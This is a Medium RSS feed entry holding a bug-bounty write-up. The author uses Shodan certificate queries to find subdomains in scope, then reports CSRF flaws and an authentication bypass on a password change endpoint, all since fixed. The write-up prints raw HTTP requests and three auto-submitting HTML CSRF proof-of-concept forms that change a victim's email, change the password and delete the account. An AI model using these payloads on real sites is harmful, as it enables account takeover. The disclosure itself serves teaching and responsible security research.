<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Marwan Elshamy  on Medium]]></title>
        <description><![CDATA[Stories by Marwan Elshamy  on Medium]]></description>
        <link>https://medium.com/@marwanelshamy?source=rss-e69fb9b111db------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*zE9t_ejqn5zpNYWyGyuIvA.png</url>
            <title>Stories by Marwan Elshamy  on Medium</title>
            <link>https://medium.com/@marwanelshamy?source=rss-e69fb9b111db------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 09:52:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@marwanelshamy/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From Shodan Recon to Multiple Security Flaws in the Same Program]]></title>
            <link>https://medium.com/@marwanelshamy/from-shodan-recon-to-multiple-security-flaws-in-the-same-program-2a3dd91d1457?source=rss-e69fb9b111db------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a3dd91d1457</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[shodan]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Marwan Elshamy ]]></dc:creator>
            <pubDate>Thu, 26 Feb 2026 00:47:58 GMT</pubDate>
            <atom:updated>2026-02-26T00:47:58.495Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>بِسْمِ اللَّهِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَى رَسُولِ اللَّهِ، وَعَلَى آلِهِ وَصَحْبِهِ وَمَنْ وَالَاهُ، اللَّهُمَّ صَلِّ وَسَلِّمْ وَبَارِكْ عَلَى نَبِيِّنَا مُحَمَّدٍ ﷺ.</strong></p><p>Hi everyone,</p><p>I’m Marwan Elshamy, and I hope you find this write-up useful.</p><h3>Introduction</h3><p>Shodan is a powerful tool for discovering exposed services. With the right mindset, it can lead to genuinely impactful vulnerabilities by uncovering overlooked or forgotten attack surfaces. For additional background on Shodan recon, see this <a href="https://www.intigriti.com/researchers/blog/hacking-tools/complete-guide-to-finding-more-vulnerabilities-with-shodan-and-censys"><strong><em>blog</em></strong></a> by Intigriti.</p><p>In this write-up, I’ll walk through how a simple Shodan-based recon methodology led me to discover <strong>multiple CSRF vulnerabilities and an improper authentication issue </strong>within the same VDP on HackerOne.</p><h3>Recon Methodology</h3><p>Let’s refer to the program as target.com. Since the scope allowed the wildcard *.target.com, I used the following Shodan query to discover related subdomains:</p><pre>ssl.cert.subject.CN:&quot;target.com&quot;</pre><p>I carefully reviewed and filtered the results, excluding entries with irrelevant titles (for example, -http.title:&quot;Invalid URL&quot;). I also filtered for IPs returning HTTP status code 200 by adding + 200 to the query to focus only on active hosts. Shodan’s facet analysis was also helpful in quickly identifying relevant results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k9ImO-UX_k8XX_N0hfTrZw.png" /></figure><p>This process led me to identify multiple subdomains, two of which immediately caught my attention:</p><ul><li>[redacted].it.target.com</li><li>portal.[redacted].target.com</li></ul><h3>Finding #1: CSRF in Account Information Update</h3><p>After opening the first subdomain, I was presented with login and registration forms as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*q3L8NRYa3krJwMsExzKegQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*UaS99Ty43YvauOBWiHR1TA.gif" /><figcaption>spider sense triggered ;)</figcaption></figure><p>I created an account and logged in, then I started testing the different functionalities and while testing the profile update feature (email, phone number, and other PII), I noticed that the update request <strong>lacked any CSRF protection </strong>(no CSRF token, no per-request identifier)</p><p>It was like this:</p><pre>POST /EditUserInfo.tcl HTTP/1.1<br>Host: [redacted].it.target.com<br>Cookie: &lt;Cookie&gt;<br>Content-Length: 155<br>Cache-Control: max-age=0<br>Origin: https://[redacted].it.target.com<br>Content-Type: application/x-www-form-urlencoded<br>Upgrade-Insecure-Requests: 1<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-User: ?1<br>Sec-Fetch-Dest: document<br>Referer: https://[redacted].it.target.com/EditUserInfo.tcl<br>Accept-Encoding: gzip, deflate, br<br>Accept-Language: en-US,en;q=0.9,ar;q=0.8,ak;q=0.7<br>Priority: u=0, i<br>Connection: keep-alive<br><br>login=&lt;login_name&gt;&amp;user_mode=external&amp;user_name=&lt;user_name&gt;&amp;company=&lt;company&gt;&amp;customer_id=&lt;customer_id&gt;&amp;phone=&lt;phone_number&gt;&amp;fax=&amp;email=&lt;email&gt;&amp;update_user=Update+%C2%BB</pre><p>I created a simple CSRF Proof of Concept using this <a href="https://hacktify.in/csrf/"><strong><em>website</em></strong></a> and confirmed that it successfully updated the account information when visited while authenticated.</p><p>The PoC:</p><pre>&lt;html&gt;<br> &lt;body&gt;<br>  &lt;form method=&quot;POST&quot; action=&quot;https://[redacted].it.target.com/EditUserInfo.tcl&quot;&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;login&quot; value=&quot;&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;user_mode&quot; value=&quot;external&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;user_name&quot; value=&quot;attacker&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;company&quot; value=&quot;company&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;customer_id&quot; value=&quot;1234&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;phone&quot; value=&quot;123456789&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;fax&quot; value=&quot;451324&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;attacker@evil.com&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;update_user&quot; value=&quot;Update+%C2%BB&quot;/&gt;<br>  &lt;/form&gt;<br>  &lt;script&gt;<br>      document.forms[0].submit();<br>  &lt;/script&gt;<br> &lt;/body&gt;<br>&lt;html&gt;</pre><p>So I reported it and yes it was accepted and resolved after a few “any update!” :)</p><blockquote>Note: It could have been a one-click account takeover by resetting the password of the victim account after changing his email but the reset password functionality wasn’t working on this subdomain.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/325/1*wvCbF3XVMTINbMiMQDsh8g.png" /></figure><h3>Finding #2: Improper Authentication in Password Change Function</h3><p>Next, I moved on to the second subdomain portal.[redacted].target.com and I followed the same approach by creating an account, logging in, and testing the available functionalities and while testing the change password functionality the request seemed like this:</p><pre>POST /aio/api/v2/change_password HTTP/1.1<br>Host: sso.[redacted].com<br>Content-Length: 97<br>Sec-Ch-Ua-Platform: &quot;Windows&quot;<br>Authorization: Bearer eyJraWQi***************************<br>Cache-Control: no-cache<br>Accept-Language: en-us<br>Accept: application/json, text/plain, */*<br>Content-Type: application/json<br>Origin: https://portal.[redacted].target.com<br>Sec-Fetch-Site: cross-site<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Dest: empty<br>Accept-Encoding: gzip, deflate, br<br>Priority: u=1, i<br>Connection: keep-alive<br><br>{&quot;mail&quot;:&quot;&lt;email&gt;&quot;,&quot;oldPassword&quot;:&quot;&lt;old password&gt;&quot;,&quot;newPassword&quot;:&quot;&lt;new password&gt;&quot;}</pre><p>The request did not rely on session cookies; instead, it depended solely on the Authorization header. However, when I removed the Authorization header entirely, the request was <strong>still accepted by the server. </strong>This meant that the endpoint did not properly enforce authentication based on the active session or token presence, relying only on user-supplied credentials, resulting in <strong>improper authentication enforcement</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/328/1*P5qNk74ZqSK9c4Cz6tXFxw.png" /></figure><h3>Finding #3: CSRF Leading to One-Click Account Takeover</h3><p>After that, I returned to the first subdomain [redacted].it.target.com to continue testing other features and while testing the <strong>change password</strong> <strong>functionality</strong>, I discovered that this action was also vulnerable to CSRF and the request was similar to the first one (the same endpoint) so I created the PoC:</p><pre>&lt;html&gt;<br> &lt;body&gt;<br>  &lt;form method=&quot;POST&quot; action=&quot;https://[redacted].it.target.com/EditUserInfo.tcl&quot;&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;login&quot; value=&quot;attacker&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;attacker&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;password2&quot; value=&quot;attacker&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;change_password&quot; value=&quot;Change+Password+%C2%BB&quot;/&gt;<br>  &lt;/form&gt;<br>  &lt;script&gt;<br>      document.forms[0].submit();<br>  &lt;/script&gt;<br> &lt;/body&gt;<br>&lt;html&gt;</pre><p>And it successfully changed the account’s password, resulting in a one-click account takeover vulnerability. While the vulnerability does not directly expose usernames, this does not meaningfully reduce the impact, as usernames are often discoverable through standard reconnaissance techniques such as registration flows, public profile enumeration, or email pattern analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*1CoDALZ8rAqEf1xhIc1x8A.png" /></figure><p>During further testing, I also identified a CSRF vulnerability affecting the account deletion functionality. The endpoint responsible for deleting user accounts did not implement any CSRF protection, allowing a malicious website to trigger account deletion on behalf of an authenticated user. This highlights the lack of CSRF defenses across sensitive account-related actions. The request was similar to the first one (the same endpoint). The PoC:</p><pre>&lt;html&gt;<br> &lt;body&gt;<br>  &lt;form method=&quot;POST&quot; action=&quot;https://[redacted].it.target.com/EditUserInfo.tcl&quot;&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;login&quot; value=&quot;attacker&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;user_mode&quot; value=&quot;external&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;user_name&quot; value=&quot;attacker&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;company&quot; value=&quot;company&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;customer_id&quot; value=&quot;123&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;phone&quot; value=&quot;123456789&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;fax&quot; value=&quot;436&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;attacker@evil.com&quot;/&gt;<br>   &lt;input type=&quot;hidden&quot; name=&quot;delete_user&quot; value=&quot;Delete+%C2%BB&quot;/&gt;<br>  &lt;/form&gt;<br>  &lt;script&gt;<br>      document.forms[0].submit();<br>  &lt;/script&gt;<br> &lt;/body&gt;<br>&lt;html&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/333/1*nzTyPi0VaOe1LWBTq93TOQ.png" /></figure><h3>Conclusion</h3><p>This write-up is not focused on a single vulnerability class. Instead, it highlights the importance of discovering new and overlooked attack surfaces.</p><p>Strong asset discovery can significantly expand the attack surface. In many cases, forgotten or overlooked subdomains present weaker security controls than primary production environments.</p><p>Thank you for reading ❤</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*klwb03p2yg5uLDb2kp54Ww.gif" /></figure><p>If you’d like to connect:<br>LinkedIn: <a href="https://www.linkedin.com/in/elshamy-marwan/">https://www.linkedin.com/in/elshamy-marwan/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a3dd91d1457" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>